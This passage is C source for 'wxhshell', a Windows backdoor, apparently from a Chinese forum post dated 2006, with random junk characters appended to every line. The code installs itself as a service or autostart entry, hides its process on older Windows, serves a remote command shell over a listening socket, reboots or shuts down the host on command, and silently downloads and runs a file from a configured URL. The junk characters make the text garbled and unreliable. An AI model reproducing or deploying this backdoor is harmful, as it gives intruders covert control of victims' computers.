  // 帮助 c!#:E`  
  case '?': { Ts.wh>`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h6~$/`&]b  
    break; 'Gl&Pa1g?  
  } 58 bCUh#uw  
  // 安装 k(t}^50^j  
  case 'i': { /,@p\Ae5  
    if(Install()) rV6/Tdy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .,0bE  
    else Hc^W%t~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -=`#fDvBn  
    break; IQZ#-)[T"  
    } \C,p WW  
  // 卸载 c(#;_Ve2P  
  case 'r': { 4_A0rveP  
    if(Uninstall()) 5 Xn.CBd]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Tw@wfaq)  
    else p]T<HGJ P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dre2J<QL  
    break; YNwp/Y  
    } .*g0w`H5pU  
  // 显示 wxhshell 所在路径 JN+_|`  
  case 'p': { _g%TSumvq<  
    char svExeFile[MAX_PATH]; \K`L3*cBKK  
    strcpy(svExeFile,"\n\r"); 0:w"M<80  
      strcat(svExeFile,ExeFile); ,#MCn  
        send(wsh,svExeFile,strlen(svExeFile),0); #$1Z  
    break; 'R-3fO???  
    } Guz"wY  
  // 重启 1 zw*/dp  
  case 'b': { Xtt ? ]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p sL?Y  
    if(Boot(REBOOT)) Xs: 3'ua  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mmpfto%i  
    else { 1`ayc|9BR  
    closesocket(wsh); ^[:p|U2mA  
    ExitThread(0); )W/;=K  
    } F*"}aP$  
    break; -py@DzK  
    } rj(T~d4  
  // 关机 '%q$` KDb  
  case 'd': { o2<#s)GpY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wgCa58H76  
    if(Boot(SHUTDOWN)) KQB3 m"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SkmT`*v@  
    else { ^R:cd8+?%  
    closesocket(wsh); qkiI/nH3  
    ExitThread(0); 15o9 .   
    } 'Lu__NfN  
    break; .l.a(_R  
    } ]]zPq<b2  
  // 获取shell &Z`#cMR{H  
  case 's': { >0"+4<72  
    CmdShell(wsh); EK4d_L]I  
    closesocket(wsh); %i5M77#Z  
    ExitThread(0); \B,(k<  
    break; y3fGWa*7e  
  } hEp(A8g)bQ  
  // 退出 'FDef#P<  
  case 'x': { <yd{tD$A*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p6;OL@ \~  
    CloseIt(wsh); xL\0B,]  
    break; p,eTY[k?  
    } [PDNwh0g5  
  // 离开 .>WxDQIo  
  case 'q': { }hhGu\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g"}%2~Urf  
    closesocket(wsh); ~{jcH  
    WSACleanup(); `hQ5VJo  
    exit(1); Dy:|g1>  
    break; G|!on<l&  
        } hpD!2 K3>  
  } i%0ur}p  
  } ]?!mS[X  
>s<^M|S07  
  // 提示信息 lE4HM$p   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e]zBf;9 J  
} C$XU%5qi  
  } PamO8^!G  
67Th;h*sh  
  return; OWg(#pZk  
} QC}CRkp  
'Wm x)0)  
// shell模块句柄 \RC'XKQ*n  
int CmdShell(SOCKET sock) {#@W)4)cA  
{ "i[@P)  
STARTUPINFO si; vVFy*#I#_[  
ZeroMemory(&si,sizeof(si)); +l<5#pazx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V<T9&8l+:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <h:x=  
PROCESS_INFORMATION ProcessInfo; ! t?iXZ  
char cmdline[]="cmd"; ]QlwR'&j/n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]H+8rY%+  
  return 0; JehrDC2N  
} klT@cO-9  
HMh"}I2n  
// 自身启动模式 %[ Z \S0C  
int StartFromService(void) e?8FN. q  
{  +|n*b  
typedef struct JR@`2YP-  
{ hG12ZZD  
  DWORD ExitStatus; EVsC >rz  
  DWORD PebBaseAddress; PgF* 1  
  DWORD AffinityMask; Lh!J >  
  DWORD BasePriority; YUtC.TR1  
  ULONG UniqueProcessId; RC7]'4o  
  ULONG InheritedFromUniqueProcessId; 4NheWM6  
}   PROCESS_BASIC_INFORMATION; UCB/=k^m  
w"-Lc4t+  
PROCNTQSIP NtQueryInformationProcess; b*c*r dTx  
P2#XKG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K8GP@yD]M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nxnv,AZG  
W{6|tx)  
  HANDLE             hProcess; Y 5- F@(  
  PROCESS_BASIC_INFORMATION pbi; $5aV:Z3P  
z[L8$7L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !Prg_6 `  
  if(NULL == hInst ) return 0; v$?+MNks  
| *2w5iR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "n(hfz0y%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >UiYL}'br6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7&jTtKLj  
K* LlW@  
  if (!NtQueryInformationProcess) return 0; yerg=,$_i  
a|t$l=|DD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XDOY`N^L  
  if(!hProcess) return 0; 96( v  
`{3<{wgw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L*xhGoC=  
?PeJlpYzV  
  CloseHandle(hProcess); s >7}zU]  
S9]'?|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m Bu  
if(hProcess==NULL) return 0; S&Zm0Ku  
vlmB`T  
HMODULE hMod; qouhuH_WtJ  
char procName[255]; %Nlt H/I  
unsigned long cbNeeded; M?Y;a5{  
,8U &?8l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !Xf5e*1IS  
`u3EU*~W  
  CloseHandle(hProcess); y\4L{GlBM  
N{9v1`B  
if(strstr(procName,"services")) return 1; // 以服务启动 gc_:%ki  
il4^zj82  
  return 0; // 注册表启动 !/'t5~x[  
} <J< {l  
_S<3\%(0  
// 主模块 } gyj0  
int StartWxhshell(LPSTR lpCmdLine) z+0I#kM"1  
{ 3]}D`Qs6  
  SOCKET wsl; % ?0:vn  
BOOL val=TRUE; :~&~y-14  
  int port=0; FH?U(-  
  struct sockaddr_in door; \)#kquH/l  
1H? u Qy  
  if(wscfg.ws_autoins) Install(); I&#| w"/"U  
x nsLf?>]  
port=atoi(lpCmdLine); AifWf2$S  
<'y?KiphL  
if(port<=0) port=wscfg.ws_port; X`kk]8 =  
lA| 5E?  
  WSADATA data; oK6tTK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?GKb7Oj  
>)fi^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q/4J.j L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9UdM`v)(  
  door.sin_family = AF_INET; rK'L6o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EH+"~-v)ae  
  door.sin_port = htons(port); gX@HO|.t  
>?2M }TV3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h5*JkRm  
closesocket(wsl); JFcLv=U  
return 1; >*~L28Fyn  
} :3v}kLO7|  
^S4d:-.3  
  if(listen(wsl,2) == INVALID_SOCKET) { b[r8 e  
closesocket(wsl); PCHu #5j_a  
return 1; DU0zez I9  
} SE@LYeC}dE  
  Wxhshell(wsl); hO\<%0F  
  WSACleanup(); .F4>p=r  
GFj{K  
return 0; =)0,#9k U]  
}NHaCG[,  
} 5;tD"/nz  
s 1 A.+  
// 以NT服务方式启动 N({MPO9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fx41,0;gZq  
{ b z`+k,*  
DWORD   status = 0; "%`1 ]Fr  
  DWORD   specificError = 0xfffffff; dU&a{ $ku[  
<Th6r.#?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yZ0-wI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g!g#]9j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jD$,.AVvz  
  serviceStatus.dwWin32ExitCode     = 0; ~qiJR`Jj  
  serviceStatus.dwServiceSpecificExitCode = 0; }*M6x;t  
  serviceStatus.dwCheckPoint       = 0; $t$ShT)  
  serviceStatus.dwWaitHint       = 0; ($q-_m  
"Gsc;X'id  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *>Ns_su7W  
  if (hServiceStatusHandle==0) return; 5Yg'BkEr  
9'fQHwsJ  
status = GetLastError(); Bd!bg|uO*  
  if (status!=NO_ERROR) Z^bQ^zk-  
{ ,;EIh}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z Xg3[orF  
    serviceStatus.dwCheckPoint       = 0; b o6d)Q  
    serviceStatus.dwWaitHint       = 0; zU5v /'h>d  
    serviceStatus.dwWin32ExitCode     = status; qzYwt]GNS  
    serviceStatus.dwServiceSpecificExitCode = specificError; R5N%e%[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); CuaVb1r  
    return; Lu?C-$a C  
  } .p<:II:6  
nD_GL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |U:k,YH  
  serviceStatus.dwCheckPoint       = 0; r<9Iof4  
  serviceStatus.dwWaitHint       = 0; j@n)kPo,1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k$4y9{  
} Z+*9#!?J  
9g9HlB&Ze  
// 处理NT服务事件,比如:启动、停止 Xpr?Kgz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y xr>"KH6a  
{ T:27r8"Rh  
switch(fdwControl) ax"+0L {  
{ 0z`a1 %U  
case SERVICE_CONTROL_STOP: 0!4Ts3qn1  
  serviceStatus.dwWin32ExitCode = 0; LK{*sHi$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Gt\lFQ  
  serviceStatus.dwCheckPoint   = 0; wg9t)1k{e  
  serviceStatus.dwWaitHint     = 0; *D'22TO[[!  
  { 9 &$y}Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -WY<zJ  
  } 7o7)0l9!  
  return; ew>XrT=Zm  
case SERVICE_CONTROL_PAUSE: ()Y~Q(5ji  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z 9vInf@M  
  break; 3U<cWl@  
case SERVICE_CONTROL_CONTINUE: S ^!n45l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DBo%fYst  
  break; u }#(.)a:  
case SERVICE_CONTROL_INTERROGATE: 1vS#K=sb  
  break; Ow+GS{-q  
}; LD+{o4i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 216RiSr*  
} TJ2=m 9Z  
j b!x:  
// 标准应用程序主函数 mUNn%E:7@{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q_MPju&*  
{ [8Y:65  
_'#n6^Us<  
// 获取操作系统版本 ayn)5q/z  
OsIsNt=GetOsVer(); :">!r.Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Uf1!qP/H?  
[zH:1Zhl&  
  // 从命令行安装 ncZ+gzK|"  
  if(strpbrk(lpCmdLine,"iI")) Install(); V><,UI=,n  
RFi S@.7  
  // 下载执行文件 4)S,3G  
if(wscfg.ws_downexe) { .UQzPnK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;0Q4<F  
  WinExec(wscfg.ws_filenam,SW_HIDE); DHy q^pJ  
} qSM|hHDo)  
cutuDZ  
if(!OsIsNt) { Q$a{\*[:+  
// 如果时win9x,隐藏进程并且设置为注册表启动 `68@+|#  
HideProc(); TEP,Dq  
StartWxhshell(lpCmdLine); evya7^,F  
} 3$jT*OyG#  
else nXaC 3W:"  
  if(StartFromService()) h&M{]E9=  
  // 以服务方式启动 h}>"j%I  
  StartServiceCtrlDispatcher(DispatchTable); Z&G+bdA>,  
else |hKDvH  
  // 普通方式启动 7!$Q;A  
  StartWxhshell(lpCmdLine); y8d]9sX{  
[meO[otb  
return 0; ;o 6lf_  
}
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只看该作者 1 发表于: 2006-10-10
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